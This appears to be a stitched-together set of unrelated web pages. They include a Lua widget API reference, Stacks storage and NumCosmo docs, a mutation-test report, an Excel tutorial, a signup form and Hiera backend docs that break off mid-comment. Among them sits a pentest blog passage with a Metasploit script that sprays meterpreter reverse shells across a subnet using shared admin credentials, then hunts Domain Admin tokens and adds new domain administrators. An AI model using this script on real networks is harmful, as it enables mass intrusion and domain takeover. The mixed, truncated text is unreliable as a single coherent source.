Class Widget
Widget class.
Methods
| Widget:defineAttribute (name, descriptor) | Define a custom attribute for this widget. |
| Widget:bubbleEvent (eventName[, data]) | Fire an event on this widget and each ancestor. |
| Widget:getPreviousSibling () | Get widget's previous sibling. |
| Widget:getNextSibling () | Get widget's next sibling. |
| Widget:focus () | Attempt to focus the widget. |
| Widget:getNextNeighbor () | Get the next widget, depth-first. |
| Widget:getPreviousNeighbor () | Get the previous widget, depth-first. |
| Widget:addChild (data) | Add a child to this widget. |
| Widget:getX () | Get the widget's X coordinate. |
| Widget:getY () | Get the widget's Y coordinate. |
| Widget:getWidth () | Get the widget's calculated width. |
| Widget:getHeight () | Get the widget's calculated height. |
| Widget:getContentWidth () | Get the content width. |
| Widget:getContentHeight () | Get the content height. |
| Widget:getRectangle (useMargin, usePadding) | Get x/y/width/height values describing a rectangle within the widget. |
| Widget:isAt (x, y) | Determine whether a point is within a widget. |
| Widget:eachAncestor (includeSelf) | Iterate widget's ancestors. |
| Widget:reshape () | Reshape the widget. |
API Properties
| Widget.focused | Whether this widget has keyboard focus. |
| Widget.hovered | Whether the pointer is within this widget. |
| Widget.pressed | Whether the pointer was pressed on this widget and not yet released. |
Internal Properties
| Widget.isWidget | Identifies this object as a widget. |
| Widget.isReshaping | Whether the widget is currently being reshaped. |
| Widget.hasType | Whether this widget has a type. |
| Widget.fontData | The Font object associated with the widget. |
| Widget.textData | The Text object associated with the widget. |
Static Functions
| Widget.register (name, decorator) | Register a custom widget type. |
Constructor
| Luigi.Widget (layout[, data]) | Widget pseudo-constructor. |
Methods
- Widget:defineAttribute (name, descriptor)
-
Define a custom attribute for this widget.
Parameters:
- name string The name of the attribute.
- descriptor
table
A table, optionally containing
get
andset
functions (seeAttribute
).
Returns:
-
Widget
Return this widget for chaining.
- Widget:bubbleEvent (eventName[, data])
-
Fire an event on this widget and each ancestor.
If any event handler returns non-nil, stop the event from propagating.
Parameters:
- eventName string The name of the Event.
- data table Information about the event to send to handlers. (optional)
Returns:
-
mixed
The first value returned by an event handler.
- Widget:getPreviousSibling ()
-
Get widget's previous sibling.
Returns:
-
Widget or nil
The widget's previous sibling, if any.
- Widget:getNextSibling ()
-
Get widget's next sibling.
Returns:
-
Widget or nil
The widget's next sibling, if any.
- Widget:focus ()
-
Attempt to focus the widget.
Unfocus currently focused widget, and focus this widget if it's focusable.
Returns:
-
boolean
true if this widget was focused, else false.
- Widget:getNextNeighbor ()
-
Get the next widget, depth-first.
If the widget has children, returns the first child. Otherwise, returns the next sibling of the nearest possible ancestor. Cycles back around to the layout root from the last widget in the tree.
Returns:
-
Widget
The next widget in the tree.
- Widget:getPreviousNeighbor ()
-
Get the previous widget, depth-first.
Uses the reverse of the traversal order used by getNextNeighbor. Cycles back around to the last widget in the tree from the layout root.
Returns:
-
Widget
The previous widget in the tree.
- Widget:addChild (data)
-
Add a child to this widget.
Parameters:
Returns:
-
Widget
The newly added child widget.
- Widget:getX ()
-
Get the widget's X coordinate.
Returns:
-
number
The widget's X coordinate.
- Widget:getY ()
-
Get the widget's Y coordinate.
Returns:
-
number
The widget's Y coordinate.
- Widget:getWidth ()
-
Get the widget's calculated width.
Returns:
-
number
The widget's calculated width.
- Widget:getHeight ()
-
Get the widget's calculated height.
Returns:
-
number
The widget's calculated height.
- Widget:getContentWidth ()
-
Get the content width.
Gets the combined width of the widget's children.
Returns:
-
number
The content width.
- Widget:getContentHeight ()
-
Get the content height.
Gets the combined height of the widget's children.
Returns:
-
number
The content height.
- Widget:getRectangle (useMargin, usePadding)
-
Get x/y/width/height values describing a rectangle within the widget.
Parameters:
- useMargin boolean Whether to adjust the rectangle based on the widget's margin.
- usePadding boolean Whether to adjust the rectangle based on the widget's padding.
Returns:
- number The upper left corner's X position.
- number The upper left corner's Y position.
- number The rectangle's width
- number The rectangle's height
- Widget:isAt (x, y)
-
Determine whether a point is within a widget.
Parameters:
- x number The point's X coordinate.
- y number The point's Y coordinate.
Returns:
-
boolean
true if the point is within the widget, else false.
- Widget:eachAncestor (includeSelf)
-
Iterate widget's ancestors.
Parameters:
- includeSelf boolean Whether to include this widget as the first result.
Returns:
-
function
Returns an iterator function that returns widgets.
Usage:
for ancestor in myWidget:eachAncestor(true) do print(widget.type or 'generic') end
- Widget:reshape ()
-
Reshape the widget.
Clears calculated widget dimensions, allowing them to be recalculated, and fires a Reshape event (does not bubble). Called recursively for each child.
When setting a widget's width or height, this function is automatically called on the parent widget.
API Properties
- Widget.focused
-
Whether this widget has keyboard focus.
Can be used by styles and themes. This value is automatically set by the
Input
class, and should generally be treated as read-only. - Widget.hovered
-
Whether the pointer is within this widget.
Can be used by styles and themes. This value is automatically set by the
Input
class, and should generally be treated as read-only. - Widget.pressed
-
Whether the pointer was pressed on this widget and not yet released.
Can be used by styles and themes. This value is automatically set by the
Input
class, and should generally be treated as read-only.
Internal Properties
- Widget.isWidget
-
Identifies this object as a widget.
Can be used to determine whether an unknown object is a widget.
- Widget.isReshaping
-
Whether the widget is currently being reshaped.
Used internally by reshape to prevent stack overflows when handling
Reshape
events. - Widget.hasType
-
Whether this widget has a type.
Used by the type attribute to determine whether to run the type initializer when the widget's type is set. After a type initializer has run, hasType becomes
true
and no other type initializers should run on the widget. - Widget.fontData
-
The
Font
object associated with the widget. - Widget.textData
-
The
Text
object associated with the widget.
Static Functions
- Widget.register (name, decorator)
-
Register a custom widget type.
Parameters:
- name string A unique name for this type of widget.
- decorator function(Widget) An initialization function for this type of widget.


odds & ends
blog
blog posts
[2022-03-05 Sat]
mnist and the idx file format
[2022-02-03 Thu]
one weird kernel trick
[2021-08-13 Fri]
the twisted eilenberg zilber theorem


Returns: 71,071
Starting portfolio value: 10,000,000
Ending portfolio value: 10,071,071
Yearly returns: 20,071


constputFileOptions = {// override the default content typecontentType:'application/json', // override encrypting data by default// you can also set encrypt to a private key to specify a custom encryption keyencrypt:false, // ignore automatic conflict prevention using etagsdangerouslyIgnoreEtag:true}storage.putFile('my_data.json', myData, putFileOptions));
constgetFileOptions = {decrypt:false,// by default files stored are signed and can be verified for authenticityverify:false}storage.getFile('my_data.json', getFileOptions).then((fileContent) => {console.log(fileContent);});
@stacks/storage
Store and fetch files with Gaia, the decentralized storage system.
Installation
Usage
Initiating a storage client
Note that you can also use an existing
userSession
object created during the authentication process.Put file
Store data at a different path
Put file with options
Get file
Get file with options
Delete file
Delete the file and the corresponding signature file if signed
List file
List all files in the user's Gaia hub


| Top |
NcXcorLimberKernelGalNcXcorLimberKernelGal — implementation of NcXcorLimberKernel for galaxy density |
Properties
| NcmSpline * | bias | Read / Write / Construct |
| NcmVector * | bparam | Read / Write |
| GVariant * | bparam-fit | Read / Write |
| guint | bparam-length | Read / Write / Construct Only |
| NcDistance * | dist | Read / Write / Construct |
| NcmSpline * | dndz | Read / Write / Construct |
| gboolean | domagbias | Read / Write / Construct |
| double | mag-bias | Read / Write |
| gboolean | mag-bias-fit | Read / Write |
| double | nbarm1 | Read / Write / Construct |
| double | noise-bias | Read / Write |
| gboolean | noise-bias-fit | Read / Write |
Types and Values
Object Hierarchy
GEnum ├── NcXcorLimberKernelGalSParams ╰── NcXcorLimberKernelGalVParams GObject ╰── NcmModel ╰── NcXcorLimberKernel ╰── NcXcorLimberKernelGal
Description
The kernel is given by \begin{equation} W^g (z) = b(z) \frac{dn}{dz} + \frac{3\Omega_m}{2c} \frac{H^2_0}{H(z)} (1+ z) \, \chi(z) \, (5s-2) \, g(z) \end{equation} where \begin{equation} g(z) = \int_z^{z_{*}} dz^\prime \left( 1 - \frac{\chi(z)}{\chi(z^\prime)}\right) \frac{dn}{dz^\prime}$. \end{equation}
$\frac{dn}{dz}$ is the (automatically normalized) redshift distribution of galaxies (implemented as a NcmSpline), $ b(z)$ is the large-scale clustering bias and $s$ is the magnification bias. $b(z)$ can be a single number or a NcmSpline.
Functions
nc_xcor_limber_kernel_gal_new ()
NcXcorLimberKernelGal * nc_xcor_limber_kernel_gal_new (gdouble zmin
,gdouble zmax
,gsize np
,gdouble nbarm1
,NcmSpline *dn_dz
,NcDistance *dist
,gboolean domagbias
);
Types and Values
NC_XCOR_LIMBER_KERNEL_GAL_DEFAULT_NOISE_BIAS
#define NC_XCOR_LIMBER_KERNEL_GAL_DEFAULT_NOISE_BIAS (0.0)
Property Details
The “bias”
property
“bias” NcmSpline *
Bias spline object.
Owner: NcXcorLimberKernelGal
Flags: Read / Write / Construct
The “bparam-fit”
property
“bparam-fit” GVariant *
bparam:fit.
Owner: NcXcorLimberKernelGal
Flags: Read / Write
Allowed values: GVariant<a*>
Default value: NULL
The “bparam-length”
property
“bparam-length” guint
bparam:length.
Owner: NcXcorLimberKernelGal
Flags: Read / Write / Construct Only
Default value: 1
The “dist”
property
“dist” NcDistance *
Distance object.
Owner: NcXcorLimberKernelGal
Flags: Read / Write / Construct
The “dndz”
property
“dndz” NcmSpline *
Galaxy redshift distribution.
Owner: NcXcorLimberKernelGal
Flags: Read / Write / Construct
The “domagbias”
property
“domagbias” gboolean
Do magnification bias.
Owner: NcXcorLimberKernelGal
Flags: Read / Write / Construct
Default value: FALSE
The “mag-bias”
property
“mag-bias” double
mag_bias.
Owner: NcXcorLimberKernelGal
Flags: Read / Write
Default value: 0.4
The “mag-bias-fit”
property
“mag-bias-fit” gboolean
mag_bias:fit.
Owner: NcXcorLimberKernelGal
Flags: Read / Write
Default value: FALSE
The “nbarm1”
property
“nbarm1” double
One over nbar (galaxy angular density).
Owner: NcXcorLimberKernelGal
Flags: Read / Write / Construct
Allowed values: [0,20]
Default value: 0
The “noise-bias”
property
“noise-bias” double
noise_bias.
Owner: NcXcorLimberKernelGal
Flags: Read / Write
Default value: 0
The “noise-bias-fit”
property
“noise-bias-fit” gboolean
noise_bias:fit.
Owner: NcXcorLimberKernelGal
Flags: Read / Write
Default value: FALSE


Psexec “Shell spraying” is the act of using the Psexec module in Metasploit to install shells (typically meterpreter) on hundreds of systems using shared local administrative credentials. Many pentesters use this method in concert with other Metasploit functionality to identify Domain Admin tokens. This is my least favorite technique, but since a large portion of the pentest community is actively using it I feel that I needed to include it. I like getting shells as much as the next guy, but kicking off 500 hundred of them in a production environment could cause availability issues that clients will be really unhappy with. To be fair, having 500 shells does mean you can scrape data faster, but I still think it creates more risk than value. Regardless, below is the process I have seen a lot of people using:
- Install Metasploit 3.5 or greater.
- Copy paste script below to a text file and save into the Metasploit directory as psexec_spray.rc. I originally found this script on Jabra’s blog.
- #Setup Multi Handler to accept multiple incoming connections use multi/handler setg PAYLOAD windows/meterpreter/reverse_tcp setg LHOST <IP_ADDRESS> setg LPORT 55555 set ExitOnSession false exploit -j -z
- #Setup Credentials use windows/smb/psexec set SMBUser set SMBPass
#Setup Domain as local host unless using domain credentials set SMBDomain. #Disable playload handler in psexec modules (using multi handler) set DisablePayloadHandler true #Run Ruby code to scan desired network range using some REX API stuff – range walker #note: could also accept ip addresses from a file by replacing rhosts =”<IP_ADDRESS>/24” with rhosts = File.readlines(“c:systems.txt”) require ‘rex/socket/range_walker’ rhosts = “<IP_ADDRESS>/24” iplist = Rex::Socket::RangeWalker.new(rhosts) iplist.each do |rhost| #self allows for execution of commands in msfconsole self.run_single(“set RHOST #{rhost}”) #-j-z send the session to the background self.run_single(“exploit -j -z”) end
- Update the smbuser and smbpass parameters.
- Issue the following command to run the script. The psexec_spray.rc script will attempt to blindly install meterpreter shells on every system in the <IP_ADDRESS>/24 network using the provided credentials.
msfconsole –r psexec_spray.rc
You can then use the Metasploit module token_hunter to identify Domain Admin tokens on each of the shelled systems. I’ve outlined the steps below.
- Create a file containing a list of the Domain Admins like so: COMPANYjoe-admin COMPANYbill-admin COMPANYdavid-admin
- Load the token_hunter module in the msfconsole msf> load token_hunter
- Run token hunter to list the sessions containing Domain Admin tokens. msf> token_hunt_user -f /tmp/domain-admin.txt
- Alternatively, you can use the following command to get a list of currently logged in users from each of the shelled system and manually look for Domain Admins.
- Sessions –s loggedin
What Now?
If you already have a meterpreter session you can use Incognito to impersonate the Domain Admin, or add a new one. Incognito can attempt to add a new Domain Admin blindly by iterating through all of the available authencation tokens on the system. Below are the basic commands to do that in meterpreter.
- Load Incognito in your active meterpreter session with the following command:
- Attempt to add a Domain Admin with the authentication tokens on the system:
- add_user -h
- add_group “”Domain Admins”” -h
If you’re interested in creating a new Domain Admin using another option you can use the instructions below:
- In the meterpreter console, type the following command to view processes:
- In the meterpreter console, find a domain admin session and migrate to using the following command:
- In the meterpreter console, type the following command get a OS shell:
- Type the following native Windows command to add a new Domain Admin:
- net user /add /domain
- net group “Domain Admins” /add /domain


| 1 | package fr.sii.ogham.core.sender; | |
| 2 | ||
| 3 | import java.util.Arrays; | |
| 4 | import java.util.List; | |
| 5 | ||
| 6 | import org.slf4j.Logger; | |
| 7 | import org.slf4j.LoggerFactory; | |
| 8 | ||
| 9 | import fr.sii.ogham.core.exception.MessageException; | |
| 10 | import fr.sii.ogham.core.message.Message; | |
| 11 | ||
| 12 | /** | |
| 13 | * Decorator implementation that will try to send the message until one | |
| 14 | * decorated sender is able to send it. The aim is that if a sender fails to | |
| 15 | * send the message, then another will send it. It can ensure that message will | |
| 16 | * be sent at any costs. | |
| 17 | * | |
| 18 | * @author Aurélien Baudet | |
| 19 | * | |
| 20 | */ | |
| 21 | public class FallbackSender implements MessageSender { | |
| 22 | private static final Logger LOG = LoggerFactory.getLogger(FallbackSender.class); | |
| 23 | ||
| 24 | /** | |
| 25 | * The list of senders to try one by one until one succeeds | |
| 26 | */ | |
| 27 | private List<MessageSender> senders; | |
| 28 | ||
| 29 | /** | |
| 30 | * Initialize either none, one or several senders to try one by one until | |
| 31 | * one succeeds. | |
| 32 | * | |
| 33 | * @param senders | |
| 34 | * the senders to register | |
| 35 | */ | |
| 36 | public FallbackSender(MessageSender... senders) { | |
| 37 | this(Arrays.asList(senders)); | |
| 38 | } | |
| 39 | ||
| 40 | /** | |
| 41 | * Initialize with the provided list of senders to try one by one until one | |
| 42 | * succeeds. | |
| 43 | * | |
| 44 | * @param senders | |
| 45 | * the senders to register | |
| 46 | */ | |
| 47 | public FallbackSender(List<MessageSender> senders) { | |
| 48 | super(); | |
| 49 | this.senders = senders; | |
| 50 | } | |
| 51 | ||
| 52 | @Override | |
| 53 | public void send(Message message) throws MessageException { | |
| 54 |
1
1. send : All method instructions removed → NO_COVERAGE |
for (MessageSender sender : senders) { |
| 55 | try { | |
| 56 | LOG.debug("Try to send message {} using sender {}", message, sender); | |
| 57 | sender.send(message); | |
| 58 | LOG.debug("Message {} sent using sender {}", message, sender); | |
| 59 | return; | |
| 60 | } catch (Exception e) { | |
| 61 | LOG.debug("Message {} couldn't be sent using sender {}. Cause: {}", message, sender, e); | |
| 62 | } | |
| 63 | } | |
| 64 | throw new MessageException("No sender could handle the message", message); | |
| 65 | } | |
| 66 | ||
| 67 | /** | |
| 68 | * Register a new sender to try. The sender is added at the end. It will be | |
| 69 | * used only after all previously registered senders have failed. | |
| 70 | * | |
| 71 | * @param sender | |
| 72 | * the sender to register | |
| 73 | */ | |
| 74 | public void addSender(MessageSender sender) { | |
| 75 |
1
1. addSender : All method instructions removed → NO_COVERAGE |
senders.add(sender); |
| 76 | } | |
| 77 | } | |
Mutations | ||
| 54 |
1.1 |
|
| 75 |
1.1 |


--- layout: page title: About header-img: "img/about-bg.png" ---
Los Angeles native fortunate enough to experience life as a hyperrealist painter, martial arts fighter and teacher, and physics lab assistant. Now I'm a husband, father, and beginning a new life as a programmer searching for a way to express my knowledge and experiences through code.


How to make a pie chart from your spreadsheet data in Microsoft Excel in 5 easy steps, Business Insider - Business Insider Singapore
by Steven John, Business Insider US- You can easily make a pie chart in Excel, which is a great way to make numeric data appreciable at a glance, without the need for a deep dive into facts and figures.
- Excel can use the information already entered into a series of cells aligned in either a row or column of a spreadsheet to make a pie chart.
- Pie charts can be moved around within the Excel sheet and can also be dragged into other programs, such as Word or PowerPoint to dress up reports, presentations, and papers.
- Visit Business Insider’s homepage for more stories.
One option for sharing reports with your team is to simply rattle off numbers. Think something like this: “We allocated 10% of operating budget to maintenance, 15% to hardware upgrades, 18% to renegotiated insurance and…” so on. You’ve already lost their attention.
Numbers aren’t that interesting when spoken about. But when your team can see the data laid out in a visual format, suddenly it all makes sense. Pie charts are a great way to present numerical data because they make comparing the magnitude of various numbers quick and easy, while also making the larger data set appreciable at a glance.
And when you already have a column or row of an Excel spreadsheet loaded with the data in question, you can make a pie chart in about five seconds. Here’s how.
Check out the products mentioned in this article:
Microsoft Office (From $139.99 at Best Buy)
MacBook Pro (From $1,299.99 at Best Buy)
Microsoft Surface Pro X (From $999 at Best Buy)
How to make a pie chart in Excel
1. Open Microsoft Excel on your PC or Mac.
2. Open the document containing the data that you’d like to make a pie chart with. Click and drag to highlight all of the cells in the row or column with data that you want included in your pie graph.
3. Click the “Insert” tab at the top of the screen, then click on the pie chart icon, which looks like a pie chart.
4. In the pop-up window, select the chart you wish to use and click on it.
5. Name your new chart, adjust or position it wherever you’d like, and get on with your day.
Related coverage from How To Do Everything: Tech:
-
How to make a line graph in Microsoft Excel in 4 simple steps using data in your spreadsheet
-
How to add a column in Microsoft Excel in 2 different ways
-
How to hide and unhide columns in Excel to optimize your work in a spreadsheet
-
How to search for terms or values in an Excel spreadsheet, and use Find and Replace
-
How to lock cells in Microsoft Excel, so people you send spreadsheets to can’t change certain cells or data


Sign up
Already have an account?
Login
Looks good!
Please provide a valid email address.
Please generate alphanumeric Password.
select gender
Female
Male
Please select your gender
select location
Kampala
Mbarara
Mukono
Wakiso
Please select operation location
Agree to terms and conditions
You must agree before submitting.
Sign up


I had a good read through the various habits and time management tools. I also stumbled across some interesting youtube videos on creating and breaking habits. BJ Fogg has an interesting Tedtalk about starting with tiny habits and Thomas Frank has an interesting video outlining lessons from Charles Duhigg's book "The Power of Habit".
This week I have found it difficult to maintain focus for long periods of time. I've been much more productive doing short learning bursts and allowing myself to digest the new information. I'm currently trialing the pomodoro technique using my phone as the timer to see how it goes. I have found the toggl website very good for accountability and overall time management.
I will keep coming back to the concepts that I've read during the next few weeks and see if there are other techniques which are more suitable for my style of learning and working.


Hiera 1: Writing Custom Backends
Custom Hiera backends must be written in Ruby, must conform to certain API requirements, and must be available in Ruby’s load path; when using Hiera with Puppet, you can load backends from the lib
directory of Puppet modules. Backends that retrieve data from multiple files on disk (similar to the default yaml
and json
backends) can take advantage of extra helper methods provided by the Backend
Ruby module.
Backend API and Requirements
Namespace and Name
Each Hiera backend must be a Ruby class under the Hiera::Backend
namespace. This most often means nesting the class inside class Hiera
and module Backend
statements.
You must choose a unique short common name for your backend, and derive a class name from that short name. The class name should be the backend name with a capitalized first letter and a _backend
suffix. So a backend named file
would have a class name of File_backend
.
class Hiera
module Backend
class File_backend
# ...
end
end
end
Filename/Path
By standard Ruby code loading conventions, the file containing a backend should be located in a Ruby lib directory with a sub path of hiera/backend/<LOWERCASED CLASS NAME>.rb
.
When using Hiera with Puppet, you can load backends from the lib
directory of a Puppet module; however, these backends won’t be loaded when you run Hiera from the command line unless you specify that directory in your RUBYLIB
environment variable.
A backend named file
would be located in a lib directory at hiera/backend/file_backend.rb
.
initialize
Method
If you have any setup to do in your backend before you can look up data — for example, loading a library necessary for interfacing with a database — you should put it in an initialize
method. From the crayfishx/hiera-mysql backend:
def initialize
begin
require 'mysql'
rescue LoadError
require 'rubygems'
require 'mysql'
end
Hiera.debug("mysql_backend initialized")
end
lookup
Method
Every backend must define a lookup(key, scope, order_override, resolution_type)
method, which must return either a single value or nil
. The returned value can be a string, number, boolean, array, or hash. If no value is found, it should return nil
.
The lookup method can do basically anything to acquire its value, but will usually use the Backend.datasources
method to iterate over the hierarchy (see below).
When Hiera calls the lookup method, it will pass four pieces of data as arguments:
key
is the lookup keyscope
is the set of variables available to make decisions about the hierarchy and perform data interpolationorder_override
is a requested first hierarchy level, which can optionally be inserted at the top of the hierarchyresolution_type
is the requested lookup type
class Hiera
module Backend
class File_backend
def lookup(key, scope, order_override, resolution_type)
answer = nil
# ...
return answer
end
end
end
end
Available Helper Methods
Index of methods:
Backend.datasources
Backend.datafile
Backend.parse_answer
Backend.merge_answer
Hiera.debug
andHiera.warn
A backend’s lookup method can construct its own arbitrary hierarchy and do anything to retrieve data. However:
- You will usually want to iterate over Hiera’s normal configured hierarchy.
- You may want to locate data files in a directory.
- You may want to allow values in the looked-up data to interpolate variables.
- You may want to accommodate hash merge lookups.
- You may want to log messages to assist debugging.
The Hiera::Backend module provides helper methods for the first four, and the Hiera class provides logging methods.
Backend.datasources(scope, [order_override], [hierarchy]) {|source| ... }
The Backend.datasources
method finds a hierarchy (usually from the config file), interpolates any dynamic values, removes any empty hierarchy levels, then iterates over it with a provided block of code, calling the block once for each hierarchy level. You will almost always want to use this method, as it’s the easiest way to take advantage of the configured hierarchy.
The block passed to this method must take one argument (which will be a hierarchy level, with any variable interpolation already performed). It does not need to return anything, and will usually modify an existing variable outside its scope in order to set an answer. This block will do most of the heavy lifting in your backend, accessing any data sources you need to consult.
The arguments passed to this method are a scope, an order override (optional), and a replacement hierarchy (optional). Usually, you will pass along the scope
and order_override
values that your lookup
method received and omit the hierarchy argument, so that you can use the normal hierarchy from the config file.
When doing a priority lookup, you should generally use a break
statement in your block once you get a valid answer, in order to exit early and not overwrite the highest priority answer with a lower priority answer.
class Hiera
module Backend
class File_backend
def lookup(key, scope, order_override, resolution_type)
answer = nil
Backend.datasources(scope, order_override) do |source|
# ...
break if answer = ...
end
return answer
end
end
end
end
Backend.datafile(:<BACKEND NAME>, scope, source, "<EXTENSION>")
The Backend.datafile
method returns a string, representing the complete path to a file on disk corresponding to a provided hierarchy level. The backend author is in charge of deciding what to do with this path and the file it represents.
It is optional, and is only useful when your backend is searching files on disk. It provides facilities similar to those in the yaml
and json
backends. To use this, you must set a :datadir
setting in hiera.yaml under a key named for your backend:
:file:
:datadir: /etc/puppet/hieradata
The arguments you must provide are the name of the backend (as a symbol), the scope (usually just passed on from the lookup method’s arguments), the current hierarchy level (usually passed to the current block by the Backend.datasources
method), and the file extension to expect.
class Hiera
module Backend
class File_backend
def lookup(key, scope, order_override, resolution_type)
answer = nil
Backend.datasources(scope, order_override) do |source|
file = Backend.datafile(:file, scope, source, "d") or next
path = File.join(file, key)
next unless File.exist?(path)
data = File.read(path)
next unless data
break if answer = data
end
return answer
end
end
end
end
Backend.parse_answer(data, scope)
The Backend.parse_answer
method returns its first argument, but with any interpolation tokens replaced by variables from the scope passed as its second argument. Use it if you want to support interpolation of variables into data with your backend. (This is optional.)
class Hiera
module Backend
class File_backend
def lookup(key, scope, order_override, resolution_type)
answer = nil
Backend.datasources(scope, order_override) do |source|
file = Backend.datafile(:file, scope, source, "d") or next
path = File.join(file, key)
next unless File.exist?(path)
data = File.read(path)
next unless data
break if answer = Backend.parse_answer(data, scope)
end
return answer
end
end
end
end
Backend.merge_answer(new_answer,answer)
The Backend.merge_answer
method expects two hashes, and returns a merged hash using the configured hash merge behavior. If your backend supports hash merge lookups, you should always use this helper method to do the merging.
From the json backend:
new_answer = Backend.parse_answer(data[key], scope)
case resolution_type
when :array
raise Exception, "Hiera type mismatch: expected Array and got #{new_answer.class}" unless new_answer.kind_of? Array or new_answer.kind_of? String
answer ||= []
answer << new_answer
when :hash
raise Exception, "Hiera type mismatch: expected Hash and got #{new_answer.class}" unless new_answer.kind_of? Hash
answer ||= {}
answer = Backend.merge_answer(new_answer,answer)
else
answer = new_answer
break
end
Hiera.debug(msg)
and Hiera.warn(msg)
These two methods log messages at the debug and warn loglevels, respectively.
def initialize
Hiera.debug("Hiera File backend starting")
end
Tips
Handling Lookup Types
Your backend should generally support all three lookup types. In Hiera 1, the lookup type passed to your lookup
method (as the fourth argument) will always be one of:
:priority
:array
:hash
Usually, the block you pass to Backend.datasources
will contain a case statement that decides what to do based on the lookup type. An example of this is shown above in the description of the Backend.merge_answer
method.
- Priority lookups should stop iterating over the hierarchy as soon as a valid value is found.
- Array lookups should continue iterating and append any new answers onto an array of existing answers.
- Hash lookups should continue iterating and use the
Backend.merge_answer
method to merge any new answers into a hash of existing answers.
What To Do and Not Do in the Datasources Block
In our examples here, the block passed to the Backend.datasources
method is doing all of the data lookup work and is directly modifying the answer that will eventually be returned by the lookup
method. This makes sense for simple file-based backends, where lookups are resource-cheap.
It may make less sense if both of the following are true:
- Lookups are relatively resource-expensive compared to local text files, such as anything requiring a request over the network.
- It’s possible to construct complex requests (think SQL) which aren’t significantly more expensive than simple requests.
In this case, you might want to use the hierarchy iterator block to construct a complex request, then issue that request outside the block after the Backend.datasources
call has finished.
This way, you could get answers for every hierarchy level at once, and make decisions about which answer(s) to use once you have the full results in your hand. If your data is highly hierarchical and you frequently have lookup misses at the top of the hierarchy (say most of your data is in fact-based hierarchy levels, and only a few answers are ever assigned directly to individual nodes), this might double your backend’s performance.
Complete Example
This backend was written as an example by Reid Vandewiele. It only handles priority lookups, and only handles string values. It expects a collection of hierarchy_level.d
directories containing files named after lookup keys; when looking up a key, the contents of the file corresponding to that key will be returned as a string.
Terse Version
class Hiera
module Backend
class File_backend
def initialize
Hiera.debug("Hiera File backend starting")
end
def lookup(key, scope, order_override, resolution_type)
answer = nil
Hiera.debug("Looking up #{key} in File backend")
Backend.datasources(scope, order_override) do |source|
Hiera.debug("Looking for data source #{source}")
file = Backend.datafile(:file, scope, source, "d") or next
path = File.join(file, key)
next unless File.exist?(path)
data = File.read(path)
next unless data
break if answer = Backend.parse_answer(data, scope)
end
return answer
end
end
end
end
Annotated Version
# This is an annotated walkthrough of a *very* simple custom backend for Hiera,
# which uses a directory-based file lookup scheme.
#
# First: skip the rest of this comment block and take a dive into the code.
#
# Then: read the following note about additional resources
#
# Additional Resources:
#
# If after reading through this you would like some additional resources, example
# code is currently pretty good documentation since Hiera is fundamentally simple
# under the hood. If you check out a few existing backends you're quite likely to
# pick up other tricks and ideas. A few good backends to take a look at include:
#
# https://github.com/puppetlabs/hiera/blob/master/lib/hiera/backend/yaml_backend.rb
# https://github.com/puppetlabs/puppet/blob/master/lib/hiera/backend/puppet_backend.rb
# https://github.com/adrienthebo/hiera-file (the grown-up version of this example)
# https://github.com/binford2k/hiera-rest
#
# See also https://github.com/puppetlabs/hiera/blob/master/lib/hiera/backend.rb for
# other included utility functions.
#
# Filename: lib/hiera/backend/file_backend.rb
class Hiera
module Backend
# The naming convention here is the backend name ("file"), first letter
# upcased, and given the suffix "_backend".
class File_backend
# This method contains any code necessary to start using the backend. In
# a network-based backend perhaps this method might contain code to
# establish a connection to a database or API, for example.
def initialize
Hiera.debug("Hiera File backend starting")
end
# The lookup function is the most important part of a custom backend.
# The lookup function takes four arguments which are:
#
# @param key [String] The lookup key specified by the user
#
# @param scope [Hash] The variable scope. Contains fact
# values and all other variables in
# scope when the hiera() function was
# called. Most backends will not make
# use of this data directly, but it will
# need to be passed in to a variety of
# available utility methods within Hiera.
#
# @param order_override [String] Like scope, a parameter that is
# primarily simply passed through
# to Hiera utility methods.
#
# @param resolution_type [Symbol] Hiera's default lookup method is
# :priority, in which the first value
# found in the hierarchy should be
# returned as the answer. Other lookup
# resolution methods exist. For example,
# :array returns all answers found from
# all levels of the hierarchy in an
# array. This parameter allows the
# backend to implement multiple
# resolution types. This particular
# example does not support multiple
# resolution types, and will only do
# priority lookups.
#
def lookup(key, scope, order_override, resolution_type)
# Set the default answer. Returning nil from the lookup() method
# indicates that no value was found. In this example hiera backend,
# we start by assuming no match, and will then try to find a match at
# each level of the hierarchy. If by the time we complete our
# traversal of the hierarchy and have not found an answer, then this
# default value of nil will be returned.
answer = nil
Hiera.debug("Looking up #{key} in File backend")
# Calling this method constructs a list of data sources to search. By
# default, for a hierarchy such as:
#
# ---
# :hierarchy:
# - "%{clientcert}"
# - "%{environment}"
# - global
#
# The datasources() method, being given the scope parameter and a nil
# order_override parameter, will return something like:
#
# [ "client01.example.com", "development", "global" ]
#
# Note that variable interpolation of the %{clientcert} and
# %{environment} has been performed, using values from the scope
# parameter. If a value is given for order_override that value will
# be inserted at the top of the hierarchy. For example, given an
# order_override value of "custom", the datasources() method will
# return something like:
#
# [ "custom", "client01.example.com", "development", "global" ]
#
# Once we have this hierarchy list, we will perform some kind of
# lookup, starting with the top of the hierarchy and continuing
# until either we find a match or reach the end of the hierarchy
# list.
Backend.datasources(scope, order_override) do |source|
Hiera.debug("Looking for data source #{source}")
# datafile() is a utility method to check for the existence of an
# approprate datafile for the current datasource and if it exists,
# return the full path to it. This utility method may be used if the
# custom backend adheres to a couple of conventions. The datafile()
# method assumes that:
#
# 1. As part of the lookup, the custom backend expects a file to
# exist which corresponds to the current datasource.
# 2. The configuration setting :datadir: is used in the custom
# backend.
# 3. Each datafile, located under :datadir:, has a standard
# extension.
#
# The arguments given to datafile are
#
# @param backend [Symbol] The name of the backend. This is used to
# refer to the appropriate setting key in
# hiera.yaml.
#
# @param scope [Hash] The current scope. Interpolation could
# be performed on the value of :datadir:,
# and interpolation requires a scope.
#
# @param source [String] The current datasource, or level in the
# hierarchy, for which a datafile is being
# searched.
#
# @param extension [String] The extension used by all datafiles. The
# datafile() method will search for the
# file by cat'ing "#{source}.#{extension}".
#
# In example form, the datafile() method works for a custom backend
# "foo" if hiera.yaml contains something like:
#
# ---
# :backends:
# - foo
# :hierarchy:
# - "%{clientcert}"
# - global
# :foo:
# :datadir: /etc/puppetlabs/puppet/hieradata
#
# And the hieradata directory contains something like:
#
# `-- hieradata
# |-- client1.example.com.foo
# |-- client2.example.com.foo
# |-- client3.example.com.foo
# `-- global.foo
#
# And the datafile() method is called something like:
#
# Backend.datafile(:foo, scope, source, "foo")
#
# In this example backend called "file" we expect there to exist a
# *.d directory for each datasource, and we will use the datafile()
# method to check for and return its path if it exists. Custom
